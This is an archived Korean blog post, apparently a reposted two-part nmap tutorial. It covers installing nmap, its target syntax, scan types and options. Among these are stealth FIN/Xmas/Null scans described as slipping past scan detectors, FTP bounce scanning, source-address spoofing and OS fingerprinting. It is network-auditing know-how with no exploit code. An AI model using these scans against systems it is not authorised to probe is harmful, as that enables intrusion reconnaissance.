    nmap의 실행 결과는 일반적으로 스캔되어진 호스트의 포트 리스트이다. nmap는 포트들의 "well known" service name, number, state, protocol 등을 알려준다. state는 'open', 'filtered' 'unfiltered'로 정의된다. Open은 호스트의 포트로 accept() 접속이 가능함을 의미한다. Filtered는 방화벽이나 필터, 또는 다른 네트웍 장비가 포트를 보호하고 있거나, 포트가 open 되어 있는지에 관해 nmap이 결정할 수 없음을 의미한다. Unfiltered는 closed 상태이고 firewall/filter가 없음을 의미한다. 대부분의 포트가 Unfiltered 포트이므로 'unfiltered'는 state에는 프린트되지 않는다.

    <예제1>

    nmap의 기본 옵션을 가지고 스캔하면 다음과 같다. 여기에 -v 옵션을 사용하면 좀더 자세한 정보를 알 수 있다.

    Nmap은 타겟을 설정함에 있어 매우 유연한 동작을 보인다. 하나의 호스트 스캔은 물론이고 연속되지 않은 여러 개의 호스트 스캔, 연속되는 여러 개의 호스트 스캔, 클래스 단위의 스캔 등 다양하게 타겟을 설정할 수 있다. 특히 "/mask"를 사용하면 클래스 단위로 스캔을 할 수가 있다.

    ▶연속되지 않은 여러 개의 호스트를 스캔할 경우 : 호스트 사이에 "," 입력
    ▶연속되는 여러 개의 호스트를 스캔할 경우 : 첫 번째 호스트와 마지막 호스트 사이에 "-" 입력
    ▶클래스 단위 스캔 : "/mask" 이용( B class : /16, C class : /24 ), "*" 이용, "-" 이용

    예로 B class를 스캔하고 할 때는 172.16.0.0/16 또는 172.16.*.* 또는 172.16.0-255.0-255로 정의해 주면 된다.

    <예제2> 만약 inetd.conf 파일에 2222번 백도어 포트가 설정되어 있다면 결과값은 다음과 같이 나온다. 기본 옵션으로 검색하면 2222번 포트가 보이지 않지만 -p 옵션을 사용하여 점검하면 2222번 포트가 open되어 있음을 알 수 있다.

    <예제3>

    각각의 포트가 누구의 권한으로 실행되고 있는지를 알기 위해서는 -I 옵션을 추가하면 되고, OS 추정 및 TCP Sequence Number의 규칙성을 알기 위해서는 -O 옵션을 추가하면 된다.

    <예제4> 호스트가 살아있는지를 알기 위해서는 -sP를 사용한다.

    up으로 나오면 호스트가 살아있음을 의미하고, down으로 나오는 호스트가 죽어있거나 방화벽에 의해 차단되어 있음을 의미한다.

    <예제5> UDP 포트에 대해 점검을 원하면 -sU를 사용한다.

    라. 편리한 X 윈도우 버전 nmapfe

    nmapfe은 nmap의 사용을 편리하게 하기 위해 만들어진 X Window System (GTK+) front end이다.

    3. 참고자료

    http://www.insecure.org/nmap

    Posted by tornado
    |

    2. 설치 및 운영

    가. nmap 설치

    nmap은 http://www.insecure.org/nmap에서 구할 수 있다. nmap의 설치 방법은 매우 간단하다. 많은 critical 커널 인터페이스들이 루트 권한을 요구하듯이 nmap 또한 가능하면 루트권한으로 운영되어야 한다.

    ▶ linux에 설치하기

    "*.tgz" 형식과 "*.rpm" 모두를 다운로드 할 수 있다. 여기에서는 Linux 2.2.5-22에 설치하였다.

    ① rpm 파일로 받기

    # rpm -vhU http://www.insecure.org/nmap/dist/nmap-2.53-1.i386.rpm

    설치가 정상적으로 끝났다면 /usr/bin에 nmap 실행파일이 복사될 것이다.

    ② tgz 파일로 받기

    최신버전으로 다운로드 받은 후 압축을 푼다. 여기에서는 nmap-2.53 버전으로 설치했다.

    # gzip -cd nmap-2.53.tgz | tar xvf -

    archive를 풀면 nmap-2.53이라는 디렉토리가 생성되는데 이 디렉토리로 이동한다.

    # cd nmap-2.53

    INSTALL 파일을 읽어보면 설치요령이 설명되어 있는데 다음과 같이 하면 특별한 에러 없이 설치가 된다.

    # ./configure
    # make
    # make install

    ▶Sun OS에 설치하기

    최신버젼을 다운받아 다음과 같이 하면 에러 없어 설치된다.

    # gzip -cd nmap-2.53.tgz | tar xvf -
    # cd nmap-2.53
    # ./configure
    # make
    # make install

    나. nmap 실행

    nmap의 사용방법은 다음과 같다. scan type 및 option에 대해서는 nmap의 man page에 자세히 나와있다.

    USAGE : ./nmap [Scan Type(s)] [Options]

    Scan Type

    -sT

    TCP connect() scan : TCP scanning의 가장 기초적인 형태로 connect() 함수를 사용해서 모든 포트에 대해 스캔하는 방식이다. 만약 포트가 listening 상태라면 connect()는 성공할 것이고, 그렇지 않으면 reachable 되지 않는다.

    -sS

    TCP SYN scan : full TCP 접속을 하지 않으므로 "half-open" 스캐닝이라 한다. 하나의 SYN 패킷을 보내어 SYN|ACK 응답이 오면 그 포트는 listening 상태임을 나타내며, RST 응답이 오면 non-listener임을 나타낸다. 이 기술은 하나의 패킷을 보내어 SYN|ACK 응답을 받으면 그 즉시 RST 패킷을 보내서 접속을 끊어버린다. 이렇게 하면 접속이 이루어지지 않은 상태에서 접속을 끊었기 때문에 로그를 남기지 않는 경우가 대부분이다. custom SYN packet을 만들기 위해서는 루트 권한이 필요하다.

    -sF
    -sX
    -sN

    Stealth FIN, Xmas Tree, Null scan : 이들은 SYN 패킷을 막아놓은 방화벽이나 패킷 필터 또는 Synlogger와 Courtney 같은 스캔을 탐지하는 프로그램들을 무사히 통과할 수 있다. open 포트로 FIN 패킷을 보내면 이 패킷을 무시하고, closed 포트로 보내면 RST 패킷이 온다. 이들 스캔은 주로 유닉스계열 OS에서만 사용 가능하며, 루트권한이 필요하다.

    -sP

    Ping scanning : 네트워크의 어느 호스트가 살아있는지를 알고 싶을 때 사용한다. nmap은 명시한 네트워크의 모든 IP 주소로 ICMP echo request packet을 보내어 이것을 행한다. 호스트가 살아 있다면 응답을 보낸다. 하지만 microsoft.com 같은 일부 사이트는 echo requst packet을 방해한다. 따라서 nmap은 포트번호 80(default) 으로 TCP ack packet을 보낸다. 만약 RST back을 받았다면 이 시스템은 살아있는 것이다.

    -sU

    UDP scans : 이것은 호스트의 어떠한 UDP 포트가 open 되어 있는지를 결정하기 위해 사용된다. 이 기술은 시스템의 각 포트에 0 바이트의 udp 패킷을 보낸다. 만일 ICMP port unreachable 메시지를 받았다면 이 포트는 closed 상태이며, 다른 경우라 open 상태라고 할 수 있다. 일부에서는 UDP 스캐닝이 무의미하다라고 말한다. 하지만 최근의 Solaris rcpbind hole을 보면 Rpcbind가 32770 이상의 정의되지 않은 UDP 포트에서 발견되고 있다. 이것은 111 포트가 방화벽에서 차단되어지는 것과는 별개의 문제이다. 따라서 UDP 스캐너로 30,000번 이상의 high 포트들이 listening 상태인지를 점검해봐야 한다. 이것은 루트만이 실행가능하다.

    -sA

    ACK scan : 이 방법은 방화벽의 룰셋을 정밀하게 계획하기 위해 사용된다. 특히 방화벽이 stateful한지 아니면 단순히 들어오는 SYN 패킷을 차단하는 패킷필터인지를 점검하는데 도움이 된다. 포트에 ACK 패킷을 보내어 RST 응답을 받으면 그 포트는 "unfilterd"이며, 아무런 응답이 없으면 "filtered" 이다. nmap은 "unfilterd" 포트는 프린트하지 않는다.

    -sW

    Window scan : TCP Window 크기의 변칙 때문에 filtered/nonfiltered 뿐만 아니라 open 포트도 스캔할 수 있다는 점을 제외하면 ACK scan과 매우 유사하다.

    -sR

    RPC scan : 이 스캔 방법은 nmap의 다양한 포트 스캔 방법을 조합해서 이루어진다. 이것은 열려져있는 TCP/UDP 포트에 대해 그들이 RPC 포트인지, 서비스를 제공하는 프로그램은 무엇이며, 버전은 무엇인지 등을 확인하기 위해 SunRPC program NULL commands를 계속 보내게 된다. 따라서 호스트의 portmaper가 방화벽(또는 TCP wrapper)안에 있다 하더라도 'rpcinfo -p'와 같은 정보를 얻을 수 있다.

    -b

    FTP bounce attack : 익명 FTP 서버를 이용해 그 FTP 서버를 경우해서 호스트를 스캔한다. 이를 FTP 바운스 스캔이라 한다.

     

     

    Options

     

    -P0

    이것은 방화벽에 의해 ICMP echo requests (or responses)를 막아놓은 네트워크의 스캔을 가능하게 한다. ping을 막아놓은 호스트를 스캔하기 위해서는 -P0 나 -PT80을 사용해야 한다.

    -PT

    어느 호스트가 살아 있는지를 알기 위해 TCP "ping"을 사용한다. 이것은 ICMP echo request 패킷을 보내고 응답을 기다리는 대신에, 네트워크에 TCP ACK를 보내어 응답이 오기를 기다린다. RST 응답이 오면 호스트는 살아 있는 것이다. 이 옵션은 ping 패킷을 차단하는 네트워크나 호스트을 스캔하는 동안은 호스트가 살아 있는 것과 같다. -PT를 사용 하며, 디폴트 포트는 80이다.

    -PS

    이 옵션은 루트사용자를 위해 ACK 패킷 대신에 SYN (connection request)을 사용한다. 호스트가 살아 있다면 RST (or, rarely, a SYN|ACK)로 응답 한다.

    -PI

    이 옵션은 오리지날 ping (ICMP echo request) packet을 사용한다. 이것은 살아있는 호스트를 찾으며 또한 네트워크의 subnet-directed broadcast addresses를 찾는다. 이들은 들어오는 IP 패킷을 컴퓨터의 서브넷으로 브로드케스트하기 위한 IP 주소이다. 따라서 denial of service attacks (Smurf is the most common) 가능성이 있다면 이들은 제거되어야 한다.

    -PB

    이것은 ping 기본 형태로 ACK (-PT)와 ICMP (-PI) 모두를 사용한다.

    -O

    이것은 TCP/IP fingerprinting을 통해 리모트 호스트를 확인하는데 사용된다 다시 말해 리모트 시스템의 운영체제를 점검해 준다. 루트권한이 필요하다.

    -I

    RFC 1413에 정의되어 있는 ident 프로토콜을 사용해 open되어 있는 포트가 어떤 사용자에 의해 열려 있는지 검사한다.

    -v

    verbose mode : interactive한 사용에 매우 유용한 옵션이다.

    -h

    nmap의 'quick reference'이다.

    -p

    점검하고자 하는 포트를 지정하는 옵션이다. 예로 23번 포트를 점검하려면 '-p 23' 하면 된다. 또한 '-p 20-30,139,60000-'은 20에서 30사이의 포트와 139번 포트, 60000번 이상의 포트에 대해 스캔하라는 뜻이다.

    -F

    nmap-services에 나열된 포트만 스캔한다.

    -n / -R

    DNS lookup을 하지 않는다. / DNS lookup을 한다.

    -S

    패킷의 source 주소를 지정한다.

    -e

    네트워크의 인터페이스를 지정한다.

    -g

    패킷의 source 포트번호를 지정한다.

    -oN

    스캔한 결과를 로그 파일에 남긴다(사람이 읽기 편한 포맷).

    -oM

    스캔한 결과를 로그 파일에 남긴다(컴퓨터가 읽기 편한 포맷).

    'OS > LINUX' 카테고리의 다른 글

    [linux] hostname 바꾸기..  (0) 2004.06.08
    [펌] Nmap 네트워크 점검 도구 및 보안 스캐너 3  (0) 2004.06.04
    [펌] Nmap 네트워크 점검 도구 및 보안 스캐너 1  (0) 2004.06.04
    Ftp 서비스  (0) 2004.06.04
    [펌] L4 switch  (0) 2004.06.04
    Posted by tornado
    |